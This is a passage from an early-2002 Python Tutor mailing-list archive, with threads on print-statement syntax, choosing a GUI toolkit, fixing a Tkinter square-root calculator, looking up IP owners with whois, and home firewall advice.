> decide whether that is a variable (actually, the start of an expression)
> or part of the print statement, and it can't.

Ah, that explains it - thank you!

Since I came into the discussion late - did anybody ever suggest using a 
format like 

    to <file> print <stuff>

or, as not to use up "to" as a word, 

    into <file> print <stuff>

instead? Shouldn't this let the parser elves figure things out quite 
nicely, since "into" would have to be followed by a file-like thingy every 
time, and the print part would stay the same as it was before people 
started trying to put things in files? 

I know that this is not quite as intuitive as the other way around - 
nobody says "into that bucket, put the apples", but on the other hand, 
nobody goes around saying "for every apple in the bucket, peel it" either, 
and we've gotten use to it...

Thanks again, 
Y, Scot


From virketis@fas.harvard.edu  Wed Feb 27 22:34:53 2002
From: virketis@fas.harvard.edu (Pijus Virketis)
Date: Wed, 27 Feb 2002 17:34:53 -0500
Subject: [Tutor] Problems with genetically engineering the Print Ogre
References: <132109865093-BeMail@gormenghast> <200202270930.g1R9UKS27462@possum.cozen.org> <20020227104433.A30838@pino.selwerd.nl> <200202272232.g1RMWCS29210@possum.cozen.org>
Message-ID: <00d701c1bfde$f9965b30$18adf78c@virketis2>

> I know that this is not quite as intuitive as the other way around -
> nobody says "into that bucket, put the apples", but on the other hand,
> nobody goes around saying "for every apple in the bucket, peel it" either,
> and we've gotten use to it...

Alternatively, why not add a new keyword to Python, called "to"? I think we
could live with one less word to call our variables with. It could be used
in all kinds of "directional" situations, just as "in" is.

Cheers,

Pijus




From boud@valdyas.org  Wed Feb 27 22:36:35 2002
From: boud@valdyas.org (Boudewijn Rempt)
Date: Wed, 27 Feb 2002 23:36:35 +0100 (CET)
Subject: [Tutor] gui questions
In-Reply-To: <Pine.LNX.4.21.0202271702400.16203-100000@localhost.localdomain>
Message-ID: <Pine.LNX.4.33.0202272335110.7623-100000@calcifer.valdyas.org>

On Wed, 27 Feb 2002, Henry Porter wrote:

> I'm just starting to learn python and I have an idea for a program I'd
> like to write.  I want to use some sort of gui.  Would it be better for me
> to start out using curses or tkinter?  I'd like to learn both eventually,
> so I'm just wondering which would be easier to use.  Would wxpython be a
> choice also, or is it very much harder?
>

I wouldn't call curses a gui -- so that leaves tkInter. Of course,
my biased self would like to opine that PyQt would be a better
choice, but I'll leave you to form your own opinion of the matter.

> Also, should I start writing my program for the gui from the start or
> write the basic functionality and a simpler interface then add the gui
> part later?
>

First the unittests, then the functionality, then the gui. That's
the way to go,

Boudewijn Rempt  | http://www.valdyas.org



From pythontutor@venix.com  Wed Feb 27 23:09:16 2002
From: pythontutor@venix.com (Lloyd Kvam)
Date: Wed, 27 Feb 2002 18:09:16 -0500
Subject: [Tutor] IP numbers and Python
References: <web-4860938@mail.hal-pc.org>
Message-ID: <3C7D671C.4070404@venix.com>

You will probably want to run whois directly on an IP address:
	whois 63.79.56.12@whois.arin.net	(my IP address)
<returns>:
[whois.arin.net]
UUNET Technologies, Inc. (NETBLK-UUNET63) UUNET63   63.64.0.0 - 63.127.255.255
Turnpike Technologie (NETBLK-UU-63-79-56) UU-63-79-5663.79.56.0 - 63.79.63.255

To single out one record, look it up with "!xxx", where xxx is the
handle, shown in parenthesis following the name, which comes first.

The ARIN Registration Services Host contains ONLY Internet
Network Information: Networks, ASN's, and related POC's.
Please use the whois server at rs.internic.net for DOMAIN related
Information and whois.nic.mil for NIPRNET Information.
</returns>

Then you would follow up with:
	whois "!netblk-uu-63-79-56"@whois.arin.net
and
	whois "!netblk-uunet63"@whois.arin.net

whois is found on unix (and linux) systems.  I do not know where to get it
for Windows.  That's why I used the web site in my earlier post.

Besides ARIN which covers the Americas and more, there are registries:
	RIPE NCC 	(Europe)
	and APNIC 	(Asia / Pacific)
with servers:
	@whois.ripe.net
	@whois.apnic.net



Kojo Idrissa wrote:

> On Wed, 27 Feb 2002 09:54:01 -0800
> 
>> Another alternative is a self-contained router. I've seen a 4-port from
>> LinkSys that has a firewall for a couple-hundred dollars. Has a nice
>> browser-based interface, etc.
> 
> 
> I saw one of these at my local MicroCenter.  $99 for a four port-er.  
> I'm in the process of building a home network and I considered getting 
> one to share my DSL with the network. 
> Now, (to bring this back on topic) what would be interesting would be a 
> Python script that parsed your firewall log files for the IPs (and/or 
> any other info you wanted), then used the DNS lookup site Llyod (I 
> think) mentioned to get some idea of where the scans are coming from.  
> You could even get fancy and have it create a graph of some 
> sort...percentage of scans/attacks from various addresses or address 
> block owners or ISPs.  You could even keep track of the information over 
> time, to see what trends develop.  I'm pretty sure all the functionality 
> for this exists in various Python modules. 
> Hmmm...I just might try that myself once I get my home network up and 
> running.  Sounds like a good project for someone wanting to get into 
> Networking.  (That would be me...)
> 
> Don't you love it when a seemingly off-topic post gives birth to new ideas?
> :-)
> 
> _______________________________________________
> Tutor maillist  -  Tutor@python.org
> http://mail.python.org/mailman/listinfo/tutor
> 


-- 
Lloyd Kvam
Venix Corp.
1 Court Street, Suite 378
Lebanon, NH 03766-1358

voice: 
603-443-6155
fax: 
801-459-9582



From idiot1@netzero.net  Wed Feb 27 23:35:49 2002
From: idiot1@netzero.net (kirk Bailey)
Date: Wed, 27 Feb 2002 18:35:49 -0500
Subject: [Tutor] devlopment
Message-ID: <3C7D6D55.BAAE7E87@netzero.net>

OK, TinyList is devloping. Got rid of the imager, found a way to
create text that looks the same but not an image, loads MUCH faster.
Installed training wheels in TLpost.py, so without anything else but a
alias and a subscriber file, it gives simple but functional footers-
which can be over-ridden. Now offers the preface function majordomo
offers with no hassle. Release 1.1.4 is almost ready to place on the
web, I want to review all documents and update them.

I am considering changing it to use a config file- only on item, the
domain name, but this means only editing one file IF the python
interpeter is in the most common location for it, still got to edit
ALL of them if the interpeter is not in tha place.

So, I am looking for comments or suggestions or requests. Please email
me off list directly to this account:

mailto:idiot1@netzero.net?subject=TinyList%20Features%20Comments

thank you.

-- 
 
end
	    Respectfully,
			 Kirk D Bailey


+---------------------"Thou Art Free." -Eris----------------------+
| http://www.howlermonkey.net mailto:highprimate@howlermonkey.net |
| http://www.tinylist.org  +--------+  mailto:grumpy@tinylist.org |
+------------------Thinking| NORMAL |Thinking---------------------+
                           +--------+

NOTE: By sending SPAM to this address you agree to pay me a service
fee of $100 for the service of receiving,  storing,  examining, and
deleting your piece of SPAM. I am a postmaster, and take a dim view
of such.
----------------------------------------------------
Sign Up for NetZero Platinum Today
Only $9.95 per month!
http://my.netzero.net/s/signup?r=platinum&refcd=PT97


From dsh8290@rit.edu  Thu Feb 28 01:17:23 2002
From: dsh8290@rit.edu (dman)
Date: Wed, 27 Feb 2002 20:17:23 -0500
Subject: [Tutor] Problems with genetically engineering the Print Ogre
In-Reply-To: <200202272232.g1RMWCS29210@possum.cozen.org>
References: <132109865093-BeMail@gormenghast> <200202270930.g1R9UKS27462@possum.cozen.org> <20020227104433.A30838@pino.selwerd.nl> <200202272232.g1RMWCS29210@possum.cozen.org>
Message-ID: <20020228011723.GA1826@dman.ddts.net>

On Wed, Feb 27, 2002 at 11:25:32PM +0100, Scot Stevenson wrote:
| Hello Remco, 
| 
| > Personally I think list comprehensions are beautiful. It helps if you
| > are used to similar notation in math.
| 
| I sure it does - but that does somewhat confirm my suspicion that this is 
| a construct added for a very specialized group of users =8). 

"Math" doesn't really denote a very specialized group of users.  Much
of programming involves math.  Either basic arithmatic and algebra
suffice for your programming needs, or you delve in to discrete math.
Some parts of discrete math deal a lot with sets, sequences, and
operations and relations pertaining to them.  All Software Engineering
majors at my school are required to take Discrete Math I and II.

Once you get used to operating on lists of things, it is very natural
and concise.  If you don't like the syntax, use map and filter for a
while, then try them again.

| > So after the "print", the parser sees "to" as the next word. It has to
| > decide whether that is a variable (actually, the start of an expression)
| > or part of the print statement, and it can't.
| 
| Ah, that explains it - thank you!
| 
| Since I came into the discussion late - did anybody ever suggest using a 
| format like 
| 
|     to <file> print <stuff>
| 
| or, as not to use up "to" as a word, 
| 
|     into <file> print <stuff>
| 
| instead? Shouldn't this let the parser elves figure things out quite 
| nicely, since "into" would have to be followed by a file-like thingy every 
| time,

Nope.  The _parser_ has no idea what type of thing an identifier
refers too.  The parser only knows whether it found a keyword,
operator, or identifier.

-D

-- 

The teaching of the wise is a fountain of life,
turning a man from the snares of death.
        Proverbs 13:14



From arcege@speakeasy.net  Thu Feb 28 01:32:41 2002
From: arcege@speakeasy.net (Michael P. Reilly)
Date: Wed, 27 Feb 2002 20:32:41 -0500
Subject: [Tutor] Updating Label widgets in Tkinter
In-Reply-To: <Pine.GSO.4.10.10202262314560.21107-100000@isis.visi.com>; from wilson@isis.visi.com on Tue, Feb 26, 2002 at 11:21:07PM -0600
References: <Pine.GSO.4.10.10202262314560.21107-100000@isis.visi.com>
Message-ID: <20020227203241.B894@speakeasy.net>

On Tue, Feb 26, 2002 at 11:21:07PM -0600, Tim Wilson wrote:
> Hi everyone,
> 
> I'm hoping there's a Tkinter expert or two out there who can offer some
> help with the following:
> 
> I'm working through a number of the Tkinter tutorials and John Grayson's
> book "Python and Tkinter Programming," but I continue to be stymied by
> the problem of updating the text of a label widget based on some
> calculation that's bound to a button. I'm including some code that draws
> a very simple screen that presents an entry widget. The user is supposed
> to enter a number, click calculate, and be presented with the square
> root of the number they typed. I've tried a bunch of things at this
> point, but everything's starting to blur. Can anyone point me in the
> right direction?

First, you need to save the widget as a member of the Calculator instance.
We'll use that later in the calc() method.  You will also have to
do that to the Entry widget if you cant the value to be cleared.  But
the essential component is that you change the 'text' attribute of
the widget.  You can do this with the config() method or by changing
the the value by subscripting.

You've got a few other errors too, which I've corrected.

> from Tkinter import *
> from math import sqrt
> 
> class Calculator(Frame):
>     def __init__(self):
>         """Create an instance of a very simple calculator."""
>         Frame.__init__(self)
>         self.pack(expand=YES, fill=BOTH)
>         self.master.title('Square Root Calculator')
>         self.master.iconname('Sqrt')
>         
>         fInput = Frame(self)
>         fInput.pack()
>         Label(fInput, text='x = ').pack(side=LEFT)
>         number = StringVar()
>         Entry(fInput, textvariable=number).pack(side=LEFT)
>         
>         fOutput = Frame(self)
>         fOutput.pack()
>         fOutput.pack(padx=5, pady=5)
>         result = Label(fOutput, 
>                        text='Waiting for a number...').pack(pady=10)
          # 'Label().pack()' returns None, so result gets set to that.
          self.result = Label(fOutput, text='Waiting for a number...')
          self.result.pack(pady=10)

>         buttons = Frame(self)
>         buttons.pack(padx=5, pady=5)
>         Button(buttons, text='Calculate', 
>                command=self.calc(number)).pack(side=LEFT, padx=3)
                 command=lambda c=self.calc, n=number: c(n)
                ).pack(side=LEFT, padx=3)
          # the 'command=self.calc(number)' will attempt to calculate
          # the number now, not when the button is pressed, we can put
          # it in a lambda to let it be evaluated later.

>         Button(buttons, text='Quit', 
>                command=self.quit).pack(side=LEFT, padx=3)
> 
>     def calc(self, number):
>         """Update the label named 'result' to say 'The square root of 
>         <insert original number> is <square root of that number>' 
>         and then clear the contents of the entry box."""
          try:
            numb = int(number.get())
          except ValueError:
            return  # do nothing
          self.result.config(
            text='The square root of %d is %d' % (numb, sqrt(numb))
          )
          number.set("")  # clear the StringVar displayed in the Entry widget

> Calculator().mainloop()

These are just the simple corrections; there are other improvement that
can be made.  Those can be addressed later if you like.

  -Arcege



From dsh8290@rit.edu  Thu Feb 28 02:01:29 2002
From: dsh8290@rit.edu (dman)
Date: Wed, 27 Feb 2002 21:01:29 -0500
Subject: [Tutor] IP numbers and Python
In-Reply-To: <web-4860938@mail.hal-pc.org>
References: <D4EB5574F4A7D2119C9E00A0C9EA408D059F59BA@SOVEREIGN> <web-4860938@mail.hal-pc.org>
Message-ID: <20020228020129.GA2452@dman.ddts.net>

On Wed, Feb 27, 2002 at 02:19:38PM -0600, Kojo Idrissa wrote:
| On Wed, 27 Feb 2002 09:54:01 -0800
| >Another alternative is a self-contained router. I've seen a 4-port
| >from LinkSys that has a firewall for a couple-hundred dollars.  Has
| >a nice browser-based interface, etc.
| 
| I saw one of these at my local MicroCenter.  $99 for a four port-er.
| I'm in the process of building a home network and I considered
| getting one to share my DSL with the network.  

At a local shop one can obtain a Pentium-class machine (ie P133, 48MB
RAM, couple hundred MB hard drive, NIC, case, power supply) for $99 or
less (depends on the exact specs).  If you wanted to, you could put a
*nix system on it and have full control over your firewall.  You would
also want to get a hub or switch to connect the rest of the LAN to it.

| Now, (to bring this back on topic) what would be interesting would
| be a Python script that parsed your firewall log files for the IPs
| (and/or any other info you wanted), then used the DNS lookup site
| Llyod (I think) mentioned to get some idea of where the scans are
| coming from.  You could even get fancy and have it create a graph of
| some sort...percentage of scans/attacks from various addresses or
| address block owners or ISPs.  You could even keep track of the
| information over time, to see what trends develop.  I'm pretty sure
| all the functionality for this exists in various Python modules.  
| 
| Hmmm...I just might try that myself once I get my home network up
| and running.  Sounds like a good project for someone wanting to get
| into Networking.  (That would be me...)

Are you going to include a parser for iptables' logs?  :-)

-D

-- 

the nice thing about windoze is - it does not just crash,
it displays a dialog box and lets you press 'ok' first.



From KevinzThaMAN@aol.com  Thu Feb 28 00:21:09 2002
From: KevinzThaMAN@aol.com (KevinzThaMAN@aol.com)
Date: Wed, 27 Feb 2002 19:21:09 EST
Subject: [Tutor] (no subject)
Message-ID: <2f.2317c591.29aed1f5@aol.com>

--part1_2f.2317c591.29aed1f5_boundary
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit

Hi....I'm interested in learning to program but keep running into problems 
when trying to download Python.....is there anyway you might could zip it and 
send it to me or would you have any suggestions on how I'm supposed to get 
Python? Anything you could tell me would be helpful.......thanks....Kevin

--part1_2f.2317c591.29aed1f5_boundary
Content-Type: text/html; charset="US-ASCII"
Content-Transfer-Encoding: 7bit

<HTML><FONT FACE=arial,helvetica><FONT  SIZE=1 FAMILY="SCRIPT" FACE="Comic Sans MS" LANG="0">Hi....I'm interested in learning to program but keep running into problems when trying to download Python.....is there anyway you might could zip it and send it to me or would you have any suggestions on how I'm supposed to get Python? Anything you could tell me would be helpful.......thanks....Kevin</FONT></HTML>

--part1_2f.2317c591.29aed1f5_boundary--


From wilson@isis.visi.com  Thu Feb 28 02:53:30 2002
From: wilson@isis.visi.com (Tim Wilson)
Date: Wed, 27 Feb 2002 20:53:30 -0600 (CST)
Subject: [Tutor] (no subject)
In-Reply-To: <2f.2317c591.29aed1f5@aol.com>
Message-ID: <Pine.GSO.4.10.10202272051440.14446-100000@isis.visi.com>

On Wed, 27 Feb 2002 KevinzThaMAN@aol.com wrote:

> Hi....I'm interested in learning to program but keep running into problems 
> when trying to download Python.....is there anyway you might could zip it and 
> send it to me or would you have any suggestions on how I'm supposed to get 
> Python? Anything you could tell me would be helpful.......thanks....Kevin

Python comes prezipped for your convenience directly from python.org.
Point your Web browser to
ftp://ftp.python.org/pub/python/2.2/Python-2.2.exe

Not zipped exactly, but this is the installer you need to run to install
Python on your Windows system. See http://www.python.org/2.2/ for info
about other platforms.

-Tim

--
Tim Wilson      |   Visit Sibley online:   | Check out:
Henry Sibley HS |  http://www.isd197.org   | http://www.zope.com
W. St. Paul, MN |                          | http://slashdot.org
wilson@visi.com |  <dtml-var pithy_quote>  | http://linux.com



From rickp@telocity.com  Thu Feb 28 03:16:53 2002
From: rickp@telocity.com (Rick Pasotto)
Date: Wed, 27 Feb 2002 22:16:53 -0500
Subject: [Tutor] IP numbers and Python
In-Reply-To: <20020228020129.GA2452@dman.ddts.net>
References: <D4EB5574F4A7D2119C9E00A0C9EA408D059F59BA@SOVEREIGN> <web-4860938@mail.hal-pc.org> <20020228020129.GA2452@dman.ddts.net>
Message-ID: <20020228031653.GF3547@tc.niof.net>

On Wed, Feb 27, 2002 at 09:01:29PM -0500, dman wrote:
> On Wed, Feb 27, 2002 at 02:19:38PM -0600, Kojo Idrissa wrote:
> | On Wed, 27 Feb 2002 09:54:01 -0800
> | >Another alternative is a self-contained router. I've seen a 4-port
> | >from LinkSys that has a firewall for a couple-hundred dollars.  Has
> | >a nice browser-based interface, etc.
> | 
> | I saw one of these at my local MicroCenter.  $99 for a four port-er.
> | I'm in the process of building a home network and I considered
> | getting one to share my DSL with the network.  
> 
> At a local shop one can obtain a Pentium-class machine (ie P133, 48MB
> RAM, couple hundred MB hard drive, NIC, case, power supply) for $99 or
> less (depends on the exact specs).  If you wanted to, you could put a
> *nix system on it and have full control over your firewall.  You would
> also want to get a hub or switch to connect the rest of the LAN to it.

I suspect that a Linksys type router uses significantly less electricity
than your P133 and since it has no moving parts is less likely to break
down. It's also much smaller and less hackable from the outside. Unless
you want the experience and consequent knowledge of setting up your own
firewall, the Linksys seems the wiser choice.

(And they are readily available for only $79.)

-- 
"Once the principle of government -- judicial monopoly and the power
 to tax -- is incorrectly accepted as just, any notion of restraining
 government power and safeguarding individual liberty and property is
 illusory." -- Hans-Herman Hoppe
    Rick Pasotto    rickp@telocity.com    http://www.niof.net


From dyoo@hkn.eecs.berkeley.edu  Thu Feb 28 04:00:13 2002
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Wed, 27 Feb 2002 20:00:13 -0800 (PST)
Subject: [Tutor] Website for Code Review   [Python ChalkBoard]
In-Reply-To: <Pine.LNX.4.21.0202271059220.28129-100000@hkn.eecs.berkeley.edu>
Message-ID: <Pine.LNX.4.21.0202271954030.8284-100000@hkn.eecs.berkeley.edu>

Dear Shelia,

I've been editing your posts on ChalkBoard... but in a good way, I
promise!


I've gotten syntax highlighting to work:

    http://www.decrem.com:8080/ChalkBoard/1014822498

I injected the MoinMoin python colorizer into Squishdot; all that one
needs to do is put the magic tags PYTHONCODE:

###
<pythoncode>
## Put source code here
</pythoncode>
###

around their code, and it should come out pretty well.



From urnerk@qwest.net  Thu Feb 28 03:59:49 2002
From: urnerk@qwest.net (Kirby Urner)
Date: Wed, 27 Feb 2002 19:59:49 -0800
Subject: [Tutor] IP numbers and Python
In-Reply-To: <20020228031653.GF3547@tc.niof.net>
References: <20020228020129.GA2452@dman.ddts.net>
 <D4EB5574F4A7D2119C9E00A0C9EA408D059F59BA@SOVEREIGN>
 <web-4860938@mail.hal-pc.org>
 <20020228020129.GA2452@dman.ddts.net>
Message-ID: <4.2.0.58.20020227194915.00d068c0@pop3.norton.antivirus>

Of course in the original thread the questioner
already had a software firewall, which was catching
and blocking attempts to get in.  So it's not a
given that any further purchases are really
necessary.

In a desperate attempt to tie this back to Python,
I'd say low-level packet interception and analysis
(as might happen in a firewall), is one of those
kinds of applications that Python is *not* good
at....  ok, I said it was desperate.

Kirby

PS:  when considering hardware switches/hubs, think
about the wireless option too.  This 3com HomeConnect
box on my desk works as a 100/10 mbps switch for
3 boxes connected by regular Ethernet cable, has
a separate port for DSL, which it gateways, has
built in firewall and DHCP server, and supports
some generous number of additional nodes by 11 mps
wireless (I've got a laptop downstairs that's part
of the network thanks to PC card antenna).  The switch
is configurable via web browser interface.  Costs
more than $79, but then you get a lot more.




From python.tutorial@jarava.org  Thu Feb 28 04:38:31 2002
From: python.tutorial@jarava.org (Javier JJ)
Date: Thu, 28 Feb 2002 05:38:31 +0100
Subject: [Tutor] IP numbers
References: <DAV47l65ItgHBiH3BxY0000c1f7@hotmail.com> <20020227035551.GA26544@dman.ddts.net>
Message-ID: <002801c1c012$5afa4520$931304d5@uno>

<  snip>
> Depends on your system.  Given that you're using OE, I'll assume
> you've got a MS platform.


A fair assumption, I'd say :-)

> If you pick the first one (you probably have), then try running
> 'winipcfg' and releasing, then renewing, the lease.  (that only works
> with the 95/98/me family, don't know where it is in 2k)

In w2k / NT, there is no "winipcfg" app, it's a command line util called
"ipconfig" :)
Works much better (IMO)

What you'd have to do is:

C:\> ipconfig  /release *
C:\> ipconfig  /renew *

>DHCP means
> that a server is configured to assign IP addresses and also give your
> machine routing and nameserver information.  This is probably want you
> want for your system to work, and you have no control over what IP you
> get.
>
< .... >


>
> There is another possibility, though.  If you use a regular modem to
> dial-in to your ISP, then you have no control over your IP at all.

Also, even if you have "ethernet" connection to the 'Net, the ISP / Company
DHCP server is quite likely programmed to assign you an IP from a fairly
reduced set, so...



From python.tutorial@jarava.org  Thu Feb 28 04:40:43 2002
From: python.tutorial@jarava.org (Javier JJ)
Date: Thu, 28 Feb 2002 05:40:43 +0100
Subject: [Tutor] IP numbers
References: <4.2.0.58.20020227092719.00d04c10@pop3.norton.antivirus>
Message-ID: <002901c1c012$6854b250$931304d5@uno>

This is precisely what I was going to say now :)

I have a DSL connection on a "relatively" unknown IP block (ie, my ISP has
been offering DSL connections on these addresses for a relatively short
time, os it's not a "known" target for hackers as, for example, @Home might
bel :-)). I have ZoneAlarm pro installed (get it, it's _great! :-), and I am
logging on the order of around 100 or so "alerts" in the firewall, dayly!!

But most of thems might be random pings, and random "background" noise from
the internet. I also participate in the DShield project (a project to pool
"distributed" firewall logs to analize them and find traffic / attack
patterns, check it out at www.dshield.org ), and the "logging" client
"cleans up" my logs.. and usually only reports a few alerts as noteworthy...

So, don't be _too_ paranoid. A little paranoid is OK, but try not to overdo
it!! (for instance, I once was getting frequent connection attempts at ports
135, 139 and 444 from a range of 5 differente IP addresses... on the order
of almost 30 attempts / hour for a couple of days... in the end, it was a
misconfigured app that someone had "hardwired" a series of IP to connect
to.. and one of them was mine!! :)

So, my advice is: make sure you have your system properly patched
(windowsUpdate.microsoft.com is your friend), turn off services you aren't
using, get a firewall (the free Zone Alarm should sufice for most people)...
and stop worrying too much about it. IT's _NOT_ "forget about it", just
don't worry too much about it!!

 Javier
----

PC! Politically Correct (or) Pure Crap!


----- Mensaje original -----
De: "Kirby Urner" <urnerk@qwest.net>
Para: "Cameron Stoner" <wolf_binary@hotmail.com>
CC: "python tutor" <tutor@python.org>
Enviado: miércoles, 27 de febrero de 2002 18:32
Asunto: Re: [Tutor] IP numbers


>
> >
> >I have Norton Internet Security which has stopped him so far, but I
wanted
> >to go
> >a step further and not allow him to find me.  I don't know why this
person
> >is comming
> >after me.
> >
> >Cameron
> >
>
> Note:
>
> I don't know if this is your situation, but some people
> who get a firewall for the first time (either hardware,
> or more likely a software product, like ZoneAlarm or
> a Norton thing), and have it log port scans (attempts
> to find security holes), are alarmed by the number of
> such attempts.  This is especially true if you computer
> is "always on" (the Internet that is, e.g. when you have
> DSL or a cable modem).
>
> What you will find is that cyberspace if full of this
> background noise of port scanning.  People are running
> these bots to look for holes.  There aren't necessarily
> people actively paying much attention -- they look over
> the results later.
>
> So if what you're seeing are just random reports of
> being scanned, even by the same IP-domain each time,
> don't think you have to run off and change your IP
> number.  It'll happen with the new number too, as a
> lot of the scanning bots just check huge ranges of
> possible numbers.
>
> And don't take it too personally.  Think of mosquitos
> in the forest, trying to find some blood to suck.
> Carry repellant, zip up your tent, but if you want
> to be in the forest at all, you're going to have to
> put up with pests.
>
> Kirby
>
>
>
> _______________________________________________
> Tutor maillist  -  Tutor@python.org
> http://mail.python.org/mailman/listinfo/tutor
>



From python.tutorial@jarava.org  Thu Feb 28 04:45:23 2002
From: python.tutorial@jarava.org (Javier JJ)
Date: Thu, 28 Feb 2002 05:45:23 +0100
Subject: [Tutor] wiin32clipboard "odd" behaviour??
Message-ID: <002e01c1c012$d0406530$931304d5@uno>

Hi all!!

I am experiencing a "strange" thing when trying to use the win32clipboard
module that comes with Active State's Active Python distro...

The thing is, I want to "load" a list of strings to the "main" clipboard
(thing loading a list of alternate URLs to clipoard managers like GetRight
:-)

The thing is, I OpenCliboard(), I SetClipboardText(text) and I can
GetClipboardData(format), but I can't "get" the clipboard data from outside
apps (not even after I've CloseClipboard() )... It seems like I've gotten a
"new" clipboard all for myself...

So, what would I have to do to manage things "as usual"??

Ideas, pointers??

    TIA

    Javier


----

To be, or not to be. *BOOM!* Not to be.



From python.tutorial@jarava.org  Thu Feb 28 04:56:20 2002
From: python.tutorial@jarava.org (Javier JJ)
Date: Thu, 28 Feb 2002 05:56:20 +0100
Subject: RV: [Tutor] IP numbers and Python
Message-ID: <008c01c1c014$43b79c30$931304d5@uno>

Sorry, again I answered to poster instead than to the list!!

    Javier

----

To be, or not to be. *BOOM!* Not to be.


----- Mensaje original -----
De: "Javier JJ" <python.tutorial@jarava.org>
Para: "dman" <dsh8290@rit.edu>
Enviado: jueves, 28 de febrero de 2002 5:54
Asunto: RE: [Tutor] IP numbers and Python


>
>
> > On Wed, Feb 27, 2002 at 02:19:38PM -0600, Kojo Idrissa wrote:
> > | On Wed, 27 Feb 2002 09:54:01 -0800
> > | >Another alternative is a self-contained router. I've seen a 4-port
> > | >from LinkSys that has a firewall for a couple-hundred dollars.  Has
> > | >a nice browser-based interface, etc.
> > |
> > | I saw one of these at my local MicroCenter.  $99 for a four port-er.
> > | I'm in the process of building a home network and I considered
> > | getting one to share my DSL with the network.
> >
> > At a local shop one can obtain a Pentium-class machine (ie P133, 48MB
> > RAM, couple hundred MB hard drive, NIC, case, power supply) for $99 or
> > less (depends on the exact specs).  If you wanted to, you could put a
> > *nix system on it and have full control over your firewall.  You would
> > also want to get a hub or switch to connect the rest of the LAN to it.
>
> Great idea... provided you have the know-how :)
>
> Setting up a firewall is _fun_.. but to set up an effective one, is not
too
> easy (though it's a great learning experience! :-)
>
>     JJ
> ----
>
> To be, or not to be. *BOOM!* Not to be.
>
>



From dsh8290@rit.edu  Thu Feb 28 05:32:55 2002
From: dsh8290@rit.edu (dman)
Date: Thu, 28 Feb 2002 00:32:55 -0500
Subject: [Tutor] IP numbers and Python
In-Reply-To: <4.2.0.58.20020227194915.00d068c0@pop3.norton.antivirus>
References: <20020228020129.GA2452@dman.ddts.net> <D4EB5574F4A7D2119C9E00A0C9EA408D059F59BA@SOVEREIGN> <web-4860938@mail.hal-pc.org> <20020228020129.GA2452@dman.ddts.net> <4.2.0.58.20020227194915.00d068c0@pop3.norton.antivirus>
Message-ID: <20020228053255.GA6044@dman.ddts.net>

On Wed, Feb 27, 2002 at 07:59:49PM -0800, Kirby Urner wrote:
 
| In a desperate attempt to tie this back to Python,
| I'd say low-level packet interception and analysis
| (as might happen in a firewall), is one of those
| kinds of applications that Python is *not* good
| at....  ok, I said it was desperate.

Right.  That sort of operation needs to be inside the kernel, in the
TCP (or UDP) / IP stack.

| PS:  when considering hardware switches/hubs, think
| about the wireless option too.  

Think about it, but think hard.  One potential scenario is that
someone else (a "bad guy") with a wireless interface is (at some point
in time) close enough to join your network.  Now he is behind your
firewall, through no fault of the firewall's.  Security on a wireless
network is much more difficult than with a wired one.  It is nice,
though (I imagine), if you have a laptop or other mobile  device.

-D

-- 

The truly righteous man attains life,
but he who pursues evil goes to his death.
        Proverbs 11:19



From sheila@thinkspot.net  Thu Feb 28 05:32:14 2002
From: sheila@thinkspot.net (Sheila King)
Date: Wed, 27 Feb 2002 21:32:14 -0800
Subject: [Tutor] Website for Code Review   [Python ChalkBoard]
In-Reply-To: <Pine.LNX.4.21.0202271954030.8284-100000@hkn.eecs.berkeley.edu>
References: <Pine.LNX.4.21.0202271059220.28129-100000@hkn.eecs.berkeley.edu> <Pine.LNX.4.21.0202271954030.8284-100000@hkn.eecs.berkeley.edu>
Message-ID: <10EF094CE0@kserver.org>

On Wed, 27 Feb 2002 20:00:13 -0800 (PST), Danny Yoo
<dyoo@hkn.eecs.berkeley.edu>  wrote about Re: [Tutor] Website for Code
Review   [Python ChalkBoard]:

> Dear Shelia,
> 
> I've been editing your posts on ChalkBoard... but in a good way, I
> promise!

I would always trust my Python code to you, Danny!

> I've gotten syntax highlighting to work:
> 
>     http://www.decrem.com:8080/ChalkBoard/1014822498
> 
> I injected the MoinMoin python colorizer into Squishdot; all that one
> needs to do is put the magic tags PYTHONCODE:
> 
> ###
> <pythoncode>
> ## Put source code here
> </pythoncode>
> ###
> 
> around their code, and it should come out pretty well.

Fully great. I posted a follow-up comment there.

-- 
Sheila King
http://www.thinkspot.net/sheila/

"When introducing your puppy to an adult cat,
restrain the puppy, not the cat." -- Gwen Bailey,
_The Perfect Puppy: How to Raise a Well-behaved Dog_




From kojo@hal-pc.org  Thu Feb 28 06:49:53 2002
From: kojo@hal-pc.org (Kojo Idrissa)
Date: Thu, 28 Feb 2002 00:49:53 -0600
Subject: [Tutor] IP numbers and Python
In-Reply-To: <4.2.0.58.20020227194915.00d068c0@pop3.norton.antivirus>
References: <20020228031653.GF3547@tc.niof.net>
 <20020228020129.GA2452@dman.ddts.net>
 <D4EB5574F4A7D2119C9E00A0C9EA408D059F59BA@SOVEREIGN>
 <web-4860938@mail.hal-pc.org>
 <20020228020129.GA2452@dman.ddts.net>
Message-ID: <5.1.0.14.0.20020228004759.00b0d278@Pop3.norton.antivirus>

At 07:59 PM 2/27/2002 -0800, Kirby Urner wrote:

>In a desperate attempt to tie this back to Python,

Here I was, thinking I had done just that...and so cleverly too...

Ah well...we usually aren't as clever as we think we are...
:-)

****************************
Kojo Idrissa

kojo@hal-pc.org
http://www.hal-pc.org/~kojo/
****************************



From alan.gauld@bt.com  Thu Feb 28 10:55:48 2002
From: alan.gauld@bt.com (alan.gauld@bt.com)
Date: Thu, 28 Feb 2002 10:55:48 -0000
Subject: [Tutor] gui questions
Message-ID: <5104D4DBC598D211B5FE0000F8FE7EB20E66C3E1@mbtlipnt02.btlabs.bt.co.uk>

> ...  I want to use some sort of gui.  Would it be 
> better for me to start out using curses or tkinter?  

Of those two I'd go with Tkinter. For a start curses is 
a primitive (albeit useful) way of providing GUI like 
facilities on a text terminal - its not a real GUI.

> ...  Would wxpython be a choice also, or is it very 
> much harder?

Personally I find it harder, but it does go further in 
that it has a richer widget set and some people prefer 
its look. Tkinter has nmore beginners documentation but 
if you already know C++ then wxWindows is adequately 
documented. If you don't read C++ then I'd say learn 
Tkinter first.

You can quickly compare by running through my tutor's 
GUI page which shows Tkinter then concludes with the 
same program in wxPython - they are not much different 
- in fact they have exactly the same number of lines!

> Also, should I start writing my program for the gui 
> from the start or write the basic functionality and 
> a simpler interface then add the gui

I always try to do a command line version first so that 
I concentrate on the function rather than the cosmetics.
This usually leads to a more reusable solution too as it 
